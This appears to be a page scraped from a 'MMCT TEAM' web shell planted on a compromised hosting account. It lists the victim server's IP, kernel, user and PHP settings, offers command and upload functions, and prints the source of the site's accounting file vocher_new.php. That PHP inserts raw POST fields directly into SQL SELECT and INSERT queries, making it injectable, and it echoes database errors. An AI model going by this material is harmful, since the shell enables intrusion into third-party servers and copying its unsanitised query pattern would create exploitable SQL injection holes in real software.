MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.112
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/accounts/vendor/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/accounts/vendor/../vocher_new.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    //  require("../common.php"); 
     session_start();
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: ../index.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to ../index.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 

?>

<?php


        
 include "config/config.php";
 
$cr_type_sql=mysqli_query($con,"SELECT `Type` FROM `ledger` WHERE `Name` = '$_POST[cr_ledger]'");
$dr_type_sql=mysqli_query($con,"SELECT `Type` FROM `ledger` WHERE `Name` = '$_POST[dr_ledger]'");
$cr_type_res=mysqli_fetch_array($cr_type_sql);
$dr_type_res=mysqli_fetch_array($dr_type_sql);




if(!$v_counter_res=mysqli_query($con,"select MAX(`v_counter`) from `vochers` where `Type` = '$_POST[v_type]'"))
{
        
                  echo("Error description: " . mysqli_error($con));
 

}           
            $rep_code=mysqli_fetch_array($v_counter_res);
           $v_counter=$rep_code['0']+1;
          

$sql="
INSERT INTO `vochers` (`Date`,`Cheque_Drop_Date`,`v_counter`, `Type`, `Cr_Ledger`, `Dr_Ledger`, `Cr_Ledger_Type`, `Dr_Ledger_Type`, `Cr_Amount`, `Dr_Amount`, `Nrtn`) VALUES ('$_POST[date]','$_POST[date]','$v_counter', '$_POST[v_type]', '$_POST[cr_ledger]', '$_POST[dr_ledger]',
'$cr_type_res[0]','$dr_type_res[0]', '$_POST[v_amount]', '$_POST[v_amount]', '$_POST[nrtn]');";
if(!mysqli_query($con,"$sql"))
{
    echo("Error description: " . mysqli_error($con));
}
header("Location: accounts_dashboard.php"); 

?>

 

MMCT - 2023